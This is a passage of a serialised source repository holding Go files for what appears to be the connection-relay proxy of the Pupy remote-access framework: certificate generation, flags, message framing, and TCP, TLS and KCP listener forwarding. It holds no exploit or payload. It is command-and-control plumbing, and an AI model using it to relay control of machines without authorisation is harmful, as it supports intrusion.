GetOutboundIPv4()\n\t}\n}\n\nfunc generateKeys() {\n\tca := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tSubject: pkix.Name{\n\t\t\tOrganization: []string{\"Pupy CA\"},\n\t\t\tCountry:      []string{\"ZZ\"},\n\t\t},\n\t\tNotBefore: time.Now(),\n\t\tNotAfter:  time.Now().AddDate(1, 0, 0),\n\t\tIsCA:      true,\n\t\tExtKeyUsage: []x509.ExtKeyUsage{\n\t\t\tx509.ExtKeyUsageClientAuth,\n\t\t\tx509.ExtKeyUsageServerAuth,\n\t\t},\n\t\tKeyUsage:              x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,\n\t\tBasicConstraintsValid: true,\n\t}\n\n\tcurve := elliptic.P384()\n\n\tprivCA, _ := ecdsa.GenerateKey(curve, rand.Reader)\n\tpubCA := &privCA.PublicKey\n\tca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pubCA, privCA)\n\tif err != nil {\n\t\tlog.Fatalln(\"create ca failed\", err)\n\t}\n\n\tcaSigned, _ := x509.ParseCertificate(ca_b)\n\n\tcertOut, err := os.Create(ListenerCA)\n\tif err != nil {\n\t\tlog.Fatalln(\"Couldn't save CA certificate:\", err)\n\t}\n\n\tpem.Encode(certOut, &pem.Block{Type: \"CERTIFICATE\", Bytes: ca_b})\n\tcertOut.Close()\n\tlog.Info(\"CA certificate saved to \", ListenerCA)\n\n\tkeyOut, err := os.OpenFile(ListenerCAKey, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n\tif err != nil {\n\t\tlog.Fatalln(\"Coulnd't save CA key:\", err)\n\t}\n\n\tpk_b, _ := x509.MarshalECPrivateKey(privCA)\n\tpem.Encode(keyOut, &pem.Block{\n\t\tType:  \"EC PRIVATE KEY\",\n\t\tBytes: pk_b,\n\t})\n\tkeyOut.Close()\n\tlog.Info(\"CA key saved to \", ListenerCA)\n\n\tproxyCert := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1658),\n\t\tSubject: pkix.Name{\n\t\t\tOrganization: []string{\"Pupy\"},\n\t\t\tCountry:      []string{\"ZZ\"},\n\t\t\tCommonName:   getCN(),\n\t\t},\n\t\tNotBefore:    time.Now(),\n\t\tNotAfter:     time.Now().AddDate(1, 0, 0),\n\t\tSubjectKeyId: []byte{1},\n\t\tExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},\n\t\tKeyUsage:     x509.KeyUsageDigitalSignature,\n\t}\n\n\tproxyPriv, _ := ecdsa.GenerateKey(curve, rand.Reader)\n\tproxyPub := &proxyPriv.PublicKey\n\n\tproxyCert_b, err := x509.CreateCertificate(rand.Reader, proxyCert, caSigned, proxyPub, privCA)\n\tif err != nil {\n\t\tlog.Fatalln(\"Couldn't generate server cert:\", err)\n\t}\n\n\tcertOut, err = os.Create(ListenerCert)\n\tif err != nil {\n\t\tlog.Fatalln(\"Couldn't save proxy certificate:\", err)\n\t}\n\n\tpem.Encode(certOut, &pem.Block{Type: \"CERTIFICATE\", Bytes: proxyCert_b})\n\tcertOut.Close()\n\tlog.Info(\"Proxy certificate saved to \", ListenerCert)\n\n\tkeyOut, err = os.OpenFile(ListenerKey, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n\tif err != nil {\n\t\tlog.Fatalln(\"Coulnd't save proxy key:\", err)\n\t}\n\n\tproxyPriv_b, _ := x509.MarshalECPrivateKey(proxyPriv)\n\tpem.Encode(keyOut, &pem.Block{\n\t\tType:  \"EC PRIVATE KEY\",\n\t\tBytes: proxyPriv_b,\n\t})\n\tkeyOut.Close()\n\tlog.Info(\"Proxy key saved to \", ListenerKey)\n\n\tclientCert := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1658),\n\t\tSubject: pkix.Name{\n\t\t\tOrganization: []string{\"Pupy\"},\n\t\t\tCountry:      []string{\"ZZ\"},\n\t\t},\n\t\tNotBefore:    time.Now(),\n\t\tNotAfter:     time.Now().AddDate(1, 0, 0),\n\t\tSubjectKeyId: []byte{2},\n\t\tExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},\n\t\tKeyUsage:     x509.KeyUsageDigitalSignature,\n\t}\n\n\tclientPriv, _ := ecdsa.GenerateKey(curve, rand.Reader)\n\tclientPub := &clientPriv.PublicKey\n\n\tclientCert_b, err := x509.CreateCertificate(rand.Reader, clientCert, caSigned, clientPub, privCA)\n\tif err != nil {\n\t\tlog.Fatalln(\"Couldn't generate client cert:\", err)\n\t}\n\n\tcertOut, err = os.Create(ClientCert)\n\tif err != nil {\n\t\tlog.Fatalln(\"Couldn't save client certificate:\", err)\n\t}\n\n\tpem.Encode(certOut, &pem.Block{Type: \"CERTIFICATE\", Bytes: clientCert_b})\n\tcertOut.Close()\n\tlog.Info(\"Client cert saved to \", ClientCert)\n\n\tkeyOut, err = os.OpenFile(ClientKey, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n\tif err != nil {\n\t\tlog.Fatalln(\"Coulnd't save client key:\", err)\n\t}\n\n\tclientPriv_b, _ := x509.MarshalECPrivateKey(clientPriv)\n\tpem.Encode(keyOut, &pem.Block{\n\t\tType:  \"EC PRIVATE KEY\",\n\t\tBytes: clientPriv_b,\n\t})\n\tkeyOut.Close()\n\tlog.Info(\"Client key saved to \", ClientKey)\n}\n"
  },
  {
    "path": "services/proxy/limits_linux.go",
    "content": "// +build linux\n\npackage main\n\nimport (\n\tlog \"github.com/sirupsen/logrus\"\n\t\"syscall\"\n)\n\nfunc init() {\n\tlog.Warning(\"Set rlimits\")\n\tlimits := &syscall.Rlimit{}\n\terr := syscall.Getrlimit(syscall.RLIMIT_NOFILE, limits)\n\tif err != nil {\n\t\tlog.Fatalln(\"Couldn't get rlimit value: \", err)\n\t}\n\n\tlimits.Cur = limits.Max\n\tsyscall.Setrlimit(syscall.RLIMIT_NOFILE, limits)\n}\n"
  },
  {
    "path": "services/proxy/main.go",
    "content": "package main\n\nimport (\n\t\"net\"\n\t\"path\"\n\n\t\"io/ioutil\"\n\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"flag\"\n\n\tlog \"github.com/sirupsen/logrus\"\n\tiniflags \"github.com/vharitonsky/iniflags\"\n)\n\nvar (\n\tProxyBindHost    = \"[::]:9876\"\n\tExternalBindHost = \"::\"\n\n\tDnsBindPort   uint = 5454\n\tProxyHostname      = \"\"\n\tUDPSize       uint = 1400\n\tListenerCA         = path.Join(\"..\", \"crypto\", \"proxy-ca.crt\")\n\tListenerCAKey      = path.Join(\"..\", \"crypto\", \"proxy-ca.key\")\n\tListenerKey        = path.Join(\"..\", \"crypto\", \"proxy.key\")\n\tListenerCert       = path.Join(\"..\", \"crypto\", \"proxy.crt\")\n\tClientKey          = path.Join(\"..\", \"crypto\", \"proxy-client.key\")\n\tClientCert         = path.Join(\"..\", \"crypto\", \"proxy-client.crt\")\n\n\tPortMaps []PortMap\n\n\tOnListenerEnabledURL  = \"\"\n\tOnListenerDisabledURL = \"\"\n\n\tListenerConfig *tls.Config\n)\n\nfunc init() {\n\tgenerate := false\n\tloglevel := \"ERROR\"\n\tportmap := \"\"\n\n\tflag.StringVar(&ProxyBindHost, \"listen-proxy\", ProxyBindHost, \"IP address to bind pupysh listener side\")\n\tflag.StringVar(&ExternalBindHost, \"listen\", ExternalBindHost, \"IP address to bind services listener side\")\n\tflag.UintVar(&DnsBindPort, \"dns-port\", DnsBindPort, \"Port to bind DNS listeners (if any)\")\n\tflag.UintVar(&UDPSize, \"udp-mtu-size\", UDPSize, \"MTU Size for DNS and KCP UDP Packets\")\n\tflag.StringVar(&ListenerCA, \"ca\", ListenerCA, \"Path to CA certificate (pupysh side)\")\n\tflag.StringVar(&ListenerKey, \"key\", ListenerKey, \"Path to TLS key (pupysh side)\")\n\tflag.StringVar(&ListenerCert, \"cert\", ListenerCert, \"Path to TLS cert (pupysh side)\")\n\tflag.StringVar(&portmap, \"port-map\", portmap, \"Automatically substitute ports (example: \\\"443:1443 80:8080\\\")\")\n\tflag.StringVar(&ProxyHostname, \"hostname-proxy\", ProxyHostname,\n\t\t\"Hostname for pupysh listener side (used with generate)\")\n\tflag.StringVar(&loglevel, \"loglevel\", loglevel, \"Set log level\")\n\tflag.StringVar(&OnListenerEnabledURL, \"on-enabled-url\", OnListenerEnabledURL,\n\t\t\"Send GET request when at least one client connected\")\n\tflag.StringVar(&OnListenerDisabledURL, \"on-disabled-url\", OnListenerDisabledURL,\n\t\t\"Send GET request when at least one client connected\")\n\tflag.BoolVar(&generate, \"generate\", false, \"Generate all the keys\")\n\n\tiniflags.Parse()\n\n\tswitch strings.ToLower(loglevel) {\n\tcase \"error\":\n\t\tlog.SetLevel(log.ErrorLevel)\n\tcase \"err\":\n\t\tlog.SetLevel(log.ErrorLevel)\n\tcase \"warning\":\n\t\tlog.SetLevel(log.WarnLevel)\n\tcase \"warn\":\n\t\tlog.SetLevel(log.WarnLevel)\n\tcase \"info\":\n\t\tlog.SetLevel(log.InfoLevel)\n\tcase \"debug\":\n\t\tlog.SetLevel(log.DebugLevel)\n\tdefault:\n\t\tlog.Fatalln(\"Invalid log level\", loglevel)\n\t}\n\n\tif strings.Contains(portmap, \":\") {\n\t\tfor _, mapping := range strings.Split(portmap, \" \") {\n\t\t\tif !strings.Contains(portmap, \":\") {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tparts := strings.Split(mapping, \":\")\n\t\t\tif len(parts) != 2 {\n\t\t\t\tlog.Fatalln(\"Invalid mapping specification: \", parts)\n\t\t\t}\n\n\t\t\tvar (\n\t\t\t\tfrom, to int\n\t\t\t\terr      error\n\t\t\t)\n\n\t\t\tfrom, err = strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalln(\"Invalid mapping specification: \", parts, \"From: \", err)\n\t\t\t}\n\n\t\t\tto, err = strconv.Atoi(parts[1])\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalln(\"Invalid mapping specification: \", parts, \"To: \", err)\n\t\t\t}\n\n\t\t\tPortMaps = append(PortMaps, PortMap{\n\t\t\t\tFrom: from,\n\t\t\t\tTo:   to,\n\t\t\t})\n\n\t\t}\n\t}\n\n\thost, _, err := net.SplitHostPort(ExternalBindHost)\n\tif err == nil && host != \"\" {\n\t\tExternalBindHost = host\n\t}\n\n\tif ExternalBindHost == \"\" {\n\t\tExternalBindHost = \"::\"\n\t}\n\n\tif strings.Index(ExternalBindHost, \":\") != -1 {\n\t\tExternalBindHost = \"[\" + ExternalBindHost + \"]\"\n\t}\n\n\tlog.Warn(\"Mapper binds to \", ExternalBindHost)\n\tlog.Warn(\"Proxy binds to \", ProxyBindHost)\n\n\tif generate {\n\t\tlog.Warn(\"Genrating NEW keys\")\n\t\tgenerateKeys()\n\t}\n\n\tcert, err := tls.LoadX509KeyPair(ListenerCert, ListenerKey)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tpem, err := ioutil.ReadFile(ListenerCA)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tcaPool := x509.NewCertPool()\n\tif !caPool.AppendCertsFromPEM(pem) {\n\t\tlog.Fatalln(\"Could't append CA certificates to CA pool\")\n\t}\n\n\tListenerConfig = &tls.Config{\n\t\tCertificates: []tls.Certificate{cert},\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,\n\t\t\ttls.TLS_RSA_WITH_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_RSA_WITH_AES_256_CBC_SHA,\n\t\t},\n\t\tClientAuth: tls.RequireAndVerifyClientCert,\n\t\tClientCAs:  caPool,\n\t\tNextProtos: []string{\"pp/1\"},\n\t}\n}\n\nfunc main() {\n\tNewDaemon(ProxyBindHost).ListenAndServe()\n}\n"
  },
  {
    "path": "services/proxy/message.go",
    "content": "package main\n\nimport (\n\t\"encoding/binary\"\n\t\"time\"\n\n\t\"io\"\n\t\"net\"\n\n\tmsgpack \"github.com/vmihailenco/msgpack\"\n)\n\nfunc SendError(conn net.Conn, err error) error {\n\treturn SendMessage(conn, ConnectionAcceptHeader{\n\t\tError: err.Error(),\n\t})\n}\n\nfunc SendKeepAlive(conn net.Conn, tick time.Time) error {\n\treturn SendMessage(conn, KeepAlive{\n\t\tTick: tick.Unix(),\n\t\tLast: false,\n\t})\n}\n\nfunc SendMessage(conn net.Conn, msg interface{}) error {\n\tdata, err := msgpack.Marshal(msg)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar datalen int32 = int32(len(data))\n\n\terr = binary.Write(conn, binary.BigEndian, datalen)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = conn.Write(data)\n\n\treturn err\n}\n\nfunc RecvMessage(conn net.Conn, msg interface{}) error {\n\tvar datalen uint32\n\n\terr := binary.Read(conn, binary.BigEndian, &datalen)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdata := make([]byte, datalen)\n\n\t_, err = io.ReadFull(conn, data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn msgpack.Unmarshal(data, msg)\n}\n"
  },
  {
    "path": "services/proxy/streams.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strconv\"\n\n\t\"time\"\n\n\t\"context\"\n\t\"errors\"\n\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"math/rand\"\n\n\tlog \"github.com/sirupsen/logrus\"\n\tkcp \"github.com/xtaci/kcp-go\"\n)\n\nfunc NewNetReader(mtu int, in, out net.Conn) *NetReader {\n\treturn &NetReader{\n\t\tmtu:  mtu,\n\t\tin:   in,\n\t\tout:  out,\n\t\twait: make(chan error),\n\t}\n}\n\nfunc (n *NetReader) recv() ([]byte, error) {\n\tportion := 1024 * n.mtu\n\tif portion <= 0 {\n\t\tportion = 4 * 1024 * 1024\n\t}\n\n\tbuffer := make([]byte, portion)\n\tl, err := n.in.Read(buffer)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buffer[:l], err\n}\n\nfunc (n *NetReader) send(buffer []byte) error {\n\ttoSend := len(buffer)\n\toffset := 0\n\n\tfor {\n\t\tif toSend == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\tportion := toSend\n\t\tif n.mtu > 0 && portion > n.mtu {\n\t\t\tportion = n.mtu\n\t\t}\n\n\t\tcnt, err := n.out.Write(buffer[offset : offset+portion])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\toffset += cnt\n\t\ttoSend -= cnt\n\t}\n\n\treturn nil\n}\n\nfunc (n *NetReader) Serve() {\n\tfor {\n\t\tbuffer, err := n.recv()\n\t\tif err != nil {\n\t\t\tn.ReportError(err)\n\t\t\treturn\n\t\t}\n\n\t\terr = n.send(buffer)\n\t\tif err != nil {\n\t\t\tn.ReportError(err)\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (n *NetReader) ReportError(err error) {\n\tlog.Error(\n\t\t\"NetReader: \", n.in.RemoteAddr(), \" -> \",\n\t\tn.out.RemoteAddr(), \": \", err,\n\t)\n\n\tn.err = err\n\tselect {\n\tcase n.wait <- err:\n\tdefault:\n\t}\n}\n\nfunc NewNetForwarder(pproxy, remote net.Conn) *NetForwarder {\n\treturn &NetForwarder{\n\t\tpproxy: pproxy,\n\t\tremote: remote,\n\t}\n}\n\nfunc (n *NetForwarder) sendRemoteConnectionInfo() error {\n\tlocalAddr, localPortS, _ := net.SplitHostPort(n.remote.LocalAddr().String())\n\tremoteAddr, remotePortS, _ := net.SplitHostPort(n.remote.RemoteAddr().String())\n\n\tlocalPort, _ := strconv.Atoi(localPortS)\n\tremotePort, _ := strconv.Atoi(remotePortS)\n\n\treturn SendMessage(n.pproxy, ConnectionAcceptHeader{\n\t\tLocalHost:  localAddr,\n\t\tLocalPort:  localPort,\n\t\tRemoteHost: remoteAddr,\n\t\tRemotePort: remotePort,\n\t})\n}\n\nfunc (n *NetForwarder) Serve(ctx context.Context, l7ready chan error, remoteMtu int) error {\n\tlog.Warning(\n\t\t\"Forwarder: \", n.remote.LocalAddr(), \" <- \", n.remote.RemoteAddr(),\n\t)\n\n\terr := n.sendRemoteConnectionInfo()\n\tif err != nil {\n\t\tlog.Error(\"Notification handler send failed: \", err)\n\t\treturn err\n\t}\n\n\tselect {\n\tcase err = <-l7ready:\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase <-ctx.Done():\n\t\treturn errors.New(\"Cancelled\")\n\t}\n\n\tlog.Debug(\"Start network readers\")\n\n\tremoteLocalReader := NewNetReader(remoteMtu, n.remote, n.pproxy)\n\tlocalRemoteReader := NewNetReader(remoteMtu, n.pproxy, n.remote)\n\n\tgo remoteLocalReader.Serve()\n\tgo localRemoteReader.Serve()\n\n\tselect {\n\tcase err = <-remoteLocalReader.wait:\n\t\tlog.Debug(\"NetForwarder: Remote->Local Closed: \", err)\n\t\treturn err\n\n\tcase err = <-localRemoteReader.wait:\n\t\tlog.Debug(\"NetForwarder: Local->Remote Closed: \", err)\n\t\treturn err\n\n\tcase <-ctx.Done():\n\t\tlog.Debug(\"NetForwarder: Cancellation received\")\n\t\treturn errors.New(\"Cancelled\")\n\t}\n}\n\nfunc (d *Daemon) Accept(in net.Conn, port int, createListener func(net.Conn) (net.Listener, error)) (net.Conn, error) {\n\tvar (\n\t\tlistener *Listener\n\t\tok       bool\n\t)\n\n\td.ListenersLock.Lock()\n\tif listener, ok = d.Listeners[port]; !ok {\n\t\tlog.Debug(fmt.Sprintf(\"Create new listener [%d]\", port))\n\t\tl, err := createListener(in)\n\t\tif err != nil {\n\t\t\tlog.Error(fmt.Sprintf(\"Create new listener [%d]: failed: %s\", port, err.Error()))\n\t\t\td.ListenersLock.Unlock()\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlistener = &Listener{\n\t\t\tListener: l,\n\t\t\trefcnt:   0,\n\t\t}\n\n\t\td.Listeners[port] = listener\n\t\tlog.Debug(fmt.Sprintf(\"New listener [%d] created\", port))\n\t}\n\n\tlistener.refcnt += 1\n\tlog.Info(fmt.Sprintf(\"Create new listener [%d]: ok: refcnt=%d\", port, listener.refcnt))\n\td.ListenersLock.Unlock()\n\n\treturn listener.Listener.Accept()\n}\n\nfunc (d *Daemon) Remove(port int) {\n\tvar (\n\t\tlistener *Listener\n\t\tok       bool\n\t)\n\n\td.ListenersLock.Lock()\n\tif listener, ok = d.Listeners[port]; ok {\n\t\tlistener.refcnt -= 1\n\t\tlog.Info(fmt.Sprintf(\"Remove listener [%d]; refcnt=%d\", port, listener.refcnt))\n\t\tif listener.refcnt == 0 {\n\t\t\tlog.Info(fmt.Sprintf(\"Close listener [%d]\", port))\n\t\t\tlistener.Listener.Close()\n\t\t\tdelete(d.Listeners, port)\n\t\t}\n\t}\n\n\td.ListenersLock.Unlock()\n}\n\nfunc (d *Daemon) listenAcceptTCP(in net.Conn, port int) (net.Conn, error) {\n\tconn, err := d.Accept(in, port, func(in net.Conn) (net.Listener, error) {\n\t\tlog.Println(\"New listener requested, port:\", port)\n\t\treturn net.Listen(\"tcp\", fmt.Sprintf(\"%s:%d\", ExternalBindHost, port))\n\t})\n\n\tlog.Debug(\"TCP: Accepted connection\")\n\n\tif conn != nil {\n\t\tconn.(*net.TCPConn).SetKeepAlive(true)\n\t\tconn.(*net.TCPConn).SetKeepAlivePeriod(1 * time.Minute)\n\t\tconn.(*net.TCPConn).SetNoDelay(true)\n\t}\n\n\tlog.Debug(\"TCP Acceptor completed: \", conn, err)\n\treturn conn, err\n}\n\nfunc (d *Daemon) listenAcceptTLS(in net.Conn, port int) (net.Conn, error) {\n\tconn, err := d.Accept(in, port, func(in net.Conn) (net.Listener, error) {\n\t\tlog.Debug(\"Load certificates\")\n\t\terr := SendMessage(in, &Extra{\n\t\t\tExtra: true,\n\t\t\tData:  \"certs\",\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tconfig := &TLSAcceptorConfig{}\n\t\terr = RecvMessage(in, config)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Couldn't receive TLS certificate\")\n\t\t\treturn nil, err\n\t\t}\n\n\t\tpool := x509.NewCertPool()\n\t\tif !pool.AppendCertsFromPEM([]byte(config.CACert)) {\n\t\t\tlog.Error(\"Invalid CA cert\")\n\t\t\treturn nil, errors.New(\"Invalid CA cert\")\n\t\t}\n\n\t\tcert, err := tls.X509KeyPair([]byte(config.Cert), []byte(config.Key))\n\t\tif err != nil {\n\t\t\tlog.Error(\"Invalid SSL Key/Cert\")\n\t\t\treturn nil, errors.New(\"Invalid SSL Key/Cert: \" + err.Error())\n\t\t}\n\n\t\tlog.Debug(\"SSL: New listener requested, port:\", port)\n\t\treturn tls.Listen(\"tcp\", fmt.Sprintf(\"%s:%d\", ExternalBindHost, port), &tls.Config{\n\t\t\tCertificates: []tls.Certificate{cert},\n\t\t\tClientCAs:    pool,\n\t\t\tClientAuth:   tls.RequireAndVerifyClientCert,\n\t\t})\n\t})\n\n\tlog.Debug(\"SSL: Accepted connection: \", conn, err)\n\treturn conn, err\n}\n\nfunc NewKCPConn(in net.Conn) net.Conn {\n\tlocalId := [4]byte{}\n\tfor i := 0; i < 4; i++ {\n\t\tlocalId[i] = byte(rand.Intn(255))\n\t}\n\n\tkcpconn := &KCPConn{\n\t\tlocalId: localId,\n\t\tConn:    in,\n\t}\n\treturn kcpconn\n}\n\nfunc (c *KCPConn) sendEOF() {\n\tend := [5]byte{}\n\tend[0] = KCP_END\n\tcopy(end[1:], c.localId[:])\n\tc.Conn.Write(end[:])\n}\n\nfunc compareId(id1, id2 []byte) bool {\n\tif len(id1) != 4 || len(id2) != 4 {\n\t\treturn false\n\t}\n\n\tfor i := 0; i < 4; i++ {\n\t\tif id1[i] != id2[i] {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc (c *KCPConn) Read(b []byte) (n int, err error) {\n\tbuf := make([]byte, len(b)+5)\n\n\tn, err = c.Conn.Read(buf)\n\n\tif err != nil || n < 5 {\n\t\tlog.Debug(\n\t\t\t\"KCP: Invalid KCP header (too small or error) \",\n\t\t\tn, err,\n\t\t)\n\t\treturn 0, io.EOF\n\t}\n\n\tswitch buf[0] {\n\tcase KCP_NEW:\n\t\tif !c.initialized {\n\t\t\tlog.Debug(\"KCP: NEW received\")\n\t\t\tcopy(c.remoteId[:], buf[1:5])\n\t\t\tc.initialized = true\n\t\t} else {\n\t\t\tlog.Debug(\"KCP: Unexpected NEW\")\n\t\t\tc.sendEOF()\n\t\t\treturn 0, io.EOF\n\t\t}\n\tcase KCP_DAT:\n\t\tif !c.initialized || !compareId(c.remoteId[:], buf[1:5]) {\n\t\t\tlog.Debug(\"KCP: Unexpected DAT\")\n\t\t\tc.sendEOF()\n\t\t\treturn 0, io.EOF\n\t\t}\n\tcase KCP_END:\n\t\tlog.Debug(\"KCP: EOF Received\")\n\t\treturn 0, io.EOF\n\n\tdefault:\n\t\tlog.Debug(\"KCP: Unknown flag\")\n\t\treturn 0, io.EOF\n\t}\n\n\treturn copy(b[:], buf[5:n]), nil\n}\n\nfunc (c *KCPConn) Write(b []byte) (n int, err error) {\n\tbuf := make([]byte, len(b)+5)\n\tif c.new_sent {\n\t\tbuf[0] = KCP_DAT\n\t} else {\n\t\tbuf[0] = KCP_NEW\n\t\tc.new_sent = true\n\t}\n\n\tcopy(buf[1:5], c.localId[:])\n\tcopy(buf[5:], b[:])\n\n\tn, err = c.Conn.Write(buf)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn n - 5, nil\n}\n\nfunc (c *KCPConn) Close() error {\n\tlog.Debug(\"KCP: Close() called, send EOF\")\n\tc.sendEOF()\n\treturn c.Conn.Close()\n}\n\nfunc (c *KCPConn) LocalAddr() net.Addr {\n\treturn c.Conn.LocalAddr()\n}\n\nfunc (c *KCPConn) RemoteAddr() net.Addr {\n\treturn c.Conn.RemoteAddr()\n}\n\nfunc (c *KCPConn) SetDeadline(t time.Time) error {\n\treturn c.Conn.SetDeadline(t)\n}\n\nfunc (c *KCPConn) SetReadDeadline(t time.Time) error {\n\treturn c.Conn.SetReadDeadline(t)\n}\n\nfunc (c *KCPConn) SetWriteDeadline(t time.Time) error {\n\treturn c.Conn.SetWriteDeadline(t)\n}\n\nfunc (d *Daemon) listenAcceptKCP(in net.Conn, port int) (net.Conn, error) {\n\tconn, err := d.Accept(in, port, func(in net.Conn) (net.Listener, error) {\n\t\tlog.Debug(\"New KCP listener requested, port:\", port)\n\n\t\tll, err := kcp.Listen(fmt.Sprintf(\"%s:%d\", ExternalBindHost, port))\n\t\tif err != nil {\n\t\t\tlog.Error(\"KCP Listen Error: \", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\tl := ll.(*kcp.Listener)\n\n\t\tl.SetReadBuffer(1024 * 1024)\n\t\tl.SetWriteBuffer(1024 * 1024)\n\t\treturn l, nil\n\t})\n\n\tlog.Debug(\"KCP: Accepted connection\", conn, err)\n\treturn NewKCPConn(conn), err\n}\n\nfunc l7KeepAliveSender(ctx context.Context, conn net.Conn, cherr chan error) {\n\tticker := time.NewTicker(5 * time.Second)\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\tticker.Stop()\n\t\t\treturn\n\t\tcase t := <-ticker.C:\n\t\t\terr := SendKeepAlive(conn, t)\n\t\t\tif err != nil {\n\t\t\t\tselect {\n\t\t\t\tcase cherr <- err:\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc l7KeepAliveReceiver(ctx context.Context, conn net.Conn, cherr chan error) {\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tdefault:\n\t\t\tkeepalive := &KeepAlive{}\n\t\t\terr := RecvMessage(conn, keepalive)\n\t\t\tif err != nil {\n\t\t\t\tselect {\n\t\t\t\tcase cherr <- err:\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\trtt := time.Now().Unix() - keepalive.Tick\n\n\t\t\tlog.Debug(\n\t\t\t\t\"KeepAlive: \", keepalive.Tick,\n\t\t\t\t\" RTT: \", rtt,\n\t\t\t\t\" Last: \", keepalive.Last)\n\n\t\t\tif keepalive.Last {\n\t\t\t\tselect {\n\t\t\t\tcase cherr <- nil:\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc withAccept(\n\tin net.Conn, port int,\n\tacceptor func(net.Conn, int) (net.Conn, error),\n\tchconn chan net.Conn, cherr chan error) {\n\tconn, err := acceptor(in, port)\n\n\tif err != nil {\n\t\tselect {\n\t\tcase cherr <- err:\n\t\tdefault:\n\t\t}\n\t} else {\n\t\tselect {\n\t\tcase chconn <- conn:\n\t\tdefault:\n\t\t}\n\t}\n}\n\nfunc acceptOrWait(\n\tin net.Conn, port int,\n\tacceptor func(net.Conn, int) (net.Conn, error)) (chan error, net.Conn, error) {\n\n\tchconn := make(chan net.Conn)\n\tcherr := make(chan error)\n\tl7rcherr := make(chan error)\n\n\tpingContext, pingCancel := context.WithCancel(context.Background())\n\tdefer pingCancel()\n\n\tpingRecvContext, pingRecvCancel := context.WithCancel(\n\t\tcontext.Background())\n\n\tdefer pingRecvCancel()\n\n\tgo withAccept(in, port, acceptor, chconn, cherr)\n\tgo l7KeepAliveSender(pingContext, in, cherr)\n\tgo l7KeepAliveReceiver(pingRecvContext, in, l7rcherr)\n\n\tselect {\n\tcase conn := <-chconn:\n\t\treturn l7rcherr, conn, nil\n\tcase err := <-l7rcherr:\n\t\tlog.Error(\"L7 KeepAlive Receiver failed for \", in.RemoteAddr())\n\t\treturn nil, nil, err\n\tcase err := <-cherr:\n\t\tlog.Error(\"Accept failed for \", in.RemoteAddr())\n\t\treturn nil, nil, err\n\t}\n}\n\nfunc (d *Daemon) serveStream(\n\tmtu int, pproxy net.Conn, bind string,\n\tacceptor func(net.Conn, int) (net.Conn, error),\n) {\n\n\tdefer pproxy.Close()\n\n\tport, err := strconv.Atoi(bind)\n\tif err != nil {\n\t\tlog.Error(\"Invalid port: \", err.Error())\n\t\tSendError(pproxy, err)\n\t\treturn\n\t}\n\n\tfor _, mapping := range PortMaps {\n\t\tif port == mapping.From {\n\t\t\tport = mapping.To\n\t\t\tbreak\n\t\t}\n\t}\n\n\tdefer d.Remove(port)\n\n\tdone, remote, err := acceptOrWait(pproxy, port, acceptor)\n\tif err != nil {\n\t\tSendError(pproxy, err)\n\t\treturn\n\t}\n\n\tdefer remote.Close()\n\n\tforwarder := NewNetForwarder(pproxy, remote)\n\tforwarder.Serve(context.Background(), done, mtu)\n}\n"
  },
  {
    "path": "services/proxy/types.go",
